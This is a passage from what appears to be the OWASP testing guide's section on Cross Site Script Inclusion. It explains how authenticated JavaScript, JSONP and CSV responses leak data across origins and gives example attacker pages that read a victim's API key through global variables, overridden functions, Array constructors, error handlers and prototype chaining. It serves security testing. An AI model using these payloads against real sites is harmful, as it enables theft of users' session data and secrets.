Any data attached on the window
object will be lost when the page is refreshed or closed.
List All Entries on the Window Object
`(() => { // create an iframe and append to body to load a clean window object const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe);
})();`
(Modified version of this snippet)
Attack Chain
Following the identification any of the above attack vectors, an attack chain can be formed with different types of client-side attacks, such as DOM based XSS attacks.
11.13 Testing for Cross Site Script Inclusion
Cross Site Script Inclusion (XSSI) vulnerability allows sensitive data leakage across-origin or cross-domain boundaries. Sensitive data could include authentication-related data (login states, cookies, auth tokens, session IDs, etc.) or user’s personal or sensitive personal data (email addresses, phone numbers, credit card details, social security numbers, etc.). XSSI is a client-side attack similar to Cross Site Request Forgery (CSRF) but has a different purpose. Where CSRF uses the authenticated user context to execute certain state-changing actions inside a victim’s page (e.g. transfer money to the attacker’s account, modify privileges, reset password, etc.), XSSI instead uses JavaScript on the client-side to leak sensitive data from authenticated sessions.
By default, websites are only allowed to access data if they are from the same origin. This is a key application security principle and governed by the same-origin policy (defined by RFC 6454). An origin is defined as the combination of URI scheme (HTTP or HTTPS), host name, and port number. However, this policy is not applicable for HTML <script>
tag inclusions. This exception is necessary, as without it websites would not be able to consume third party services, perform traffic analysis, or use advertisement platforms, etc.
When the browser opens a website with <script>
tags, the resources are fetched from the cross-origin domain. The resources then run in the same context as the including site or browser, which presents the opportunity to leak sensitive data. In most cases, this is achieved using JavaScript, however, the script source doesn’t have to be a JavaScript file with type text/javascript
or .js
extension.
Older browser’s vulnerabilities (IE9/10) allowed data leakage via JavaScript error messages at runtime, but those vulnerabilities have now been patched by vendors and are considered less relevant. By setting the charset attribute of the <script>
tag, an attacker or tester can enforce UTF-16 encoding, allowing data leakage for other data formats (e.g. JSON) in some cases. For more on these attacks, see Identifier based XSSI attacks.
Test Objectives
Locate sensitive data across the system.
Assess the leakage of sensitive data through various techniques.
How to Test
Collect Data Using Authenticated and Unauthenticated User Sessions
Identify which endpoints are responsible for sending sensitive data, what parameters are required, and identify all relevant dynamically and statically generated JavaScript responses using authenticated user sessions. Pay special attention to sensitive data sent using JSONP. To find dynamically generated JavaScript responses, generate authenticated and unauthenticated requests, then compare them. If they’re different, it means the response is dynamic; otherwise it’s static. To simplify this task, a tool such as Veit Hailperin’s Burp proxy plugin can be used. Make sure to check other file types in addition to JavaScript; XSSI is not limited to JavaScript files alone.
Determine Whether the Sensitive Data Can Be Leaked Using JavaScript
Testers should analyze code for the following vehicles for data leakage via XSSI vulnerabilities:
Global variables
Global function parameters
CSV (Comma Separated Values) with quotations theft
JavaScript runtime errors
Prototype chaining using this
1. Sensitive Data Leakage via Global Variables
An API key is stored in a JavaScript file with the URI https://victim.com/internal/api.js
on the victim’s website, victim.com
, which is only accessible to authenticated users. An attacker configures a website, attackingwebsite.com
, and uses the <script>
tag to refer to the JavaScript file.
Here are the contents of https://victim.com/internal/api.js
:
(function() { window.secret = "supersecretUserAPIkey"; })();
The attack site, attackingwebsite.com
, has an index.html
with the following code:
<!DOCTYPE html> <html> <head> <title>Leaking data via global variables</title> </head> <body> <h1>Leaking data via global variables</h1> <script src="<https://victim.com/internal/api.js>"></script> <div id="result"> </div> <script> var div = document.getElementById("result"); div.innerHTML = "Your secret data <b>" + window.secret + "</b>"; </script> </body> </html>
In this example, a victim is authenticated with victim.com
. An attacker lures the victim to attackingwebsite.com
via social engineering, phishing emails, etc. The victim’s browser then fetches api.js
, resulting in the sensitive data being leaked via the global JavaScript variable and displayed using innerHTML
.
2. Sensitive Data Leakage via Global Function Parameters
This example is similar to the previous one, except in this case attackingwebsite.com
uses a global JavaScript function to extract the sensitive data by overwriting the victim’s global JavaScript function.
Here are the contents of https://victim.com/internal/api.js
:
(function() { var secret = "supersecretAPIkey"; window.globalFunction(secret); })();
The attack site, attackingwebsite.com
, has an index.html
with the following code:
<!DOCTYPE html> <html> <head> <title>Leaking data via global function parameters</title> </head> <body> <div id="result"> </div> <script> function globalFunction(param) { var div = document.getElementById("result"); div.innerHTML = "Your secret data: <b>" + param + "</b>"; } </script> <script src="<https://victim.com/internal/api.js>"></script> </body> </html>
There are other XSSI vulnerabilities that can result in sensitive data leakage either via JavaScript prototype chains or global function calls. For more on these attacks, see The Unexpected Dangers of Dynamic JavaScript.
3. Sensitive Data Leakage via CSV with Quotations Theft
To leak data the attacker/tester has to be able to inject JavaScript code into the CSV data. The following example code is an excerpt from Takeshi Terada’s Identifier based XSSI attacks whitepaper.
`HTTP/1.1 200 OK Content-Type: text/csv Content-Disposition: attachment; filename="a.csv" Content-Length: xxxx
1,"","aaa@a.example","03-0000-0001" 2,"foo","bbb@b.example","03-0000-0002" ... 98,"bar","yyy@example.net","03-0000-0088" 99,"","zzz@example.com","03-0000-0099"`
In this example, using the ___
columns as injection points and inserting JavaScript strings in their place has the following result.
1,"\\"",$$$=function(){/*","aaa@a.example","03-0000-0001" 2,"foo","bbb@b.example","03-0000-0002" ... 98,"bar","yyy@example.net","03-0000-0088" 99,"*/}//","zzz@example.com","03-0000-0099"
Jeremiah Grossman wrote about a similar vulnerability in Gmail in 2006 that allowed the extraction of user contacts in JSON. In this case, the data was received from Gmail and parsed by the browser JavaScript engine using an unreferenced Array constructor to leak the data. An attacker could access this Array with the sensitive data by defining and overwriting the internal Array constructor like this:
<!DOCTYPE html> <html> <head> <title>Leaking gmail contacts via JSON </title> </head> <body> <script> function Array() { // steal data } </script> <script src="<http://mail.google.com/mail/?_url_scrubbed_>"></script> </body> </html>
4. Sensitive Data Leakage via JavaScript Runtime Errors
Browsers normally present standardized JavaScript error messages. However, in the case of IE9/10, runtime error messages provided additional details that could be used to leak data. For example, a website victim.com
serves the following content at the URI http://victim.com/service/csvendpoint
for authenticated users:
`HTTP/1.1 200 OK Content-Type: text/csv Content-Disposition: attachment; filename="a.csv" Content-Length: 13
1,abc,def,ghi`
This vulnerability could be exploited with the following:
<!--error handler --> <script>window.onerror = function(err) {alert(err)}</script> <!--load target CSV --> <script src="<http://victim.com/service/csvendpoint>"></script>
When the browser tries to render the CSV content as JavaScript, it fails and leaks the sensitive data:
Figure 4.11.13-1: JavaScript runtime error message
5. Sensitive Data Leakage via Prototype Chaining Using this
In JavaScript, the this
keyword is dynamically scoped. This means if a function is called upon an object, this
will point to this object even though the called function might not belong to the object itself. This behavior can be used to leak data. In the following example from Sebastian Leike’s demonstration page, the sensitive data is stored in an Array. An attacker can override Array.prototype.forEach
with an attacker-controlled function. If some code calls the forEach
function on an array instance that contains sensitive values, the attacker-controlled function will be invoked with this
pointing to the object that contains the sensitive data.
Here is an excerpt of a JavaScript file containing sensitive data, javascript.js
:
`... (function() { var secret = ["578a8c7c0d8f34f5", "345a8b7c9d8e34f5"];
})(); ...`
The sensitive data can be leaked with the following JavaScript code:
`... <div id="result">
...`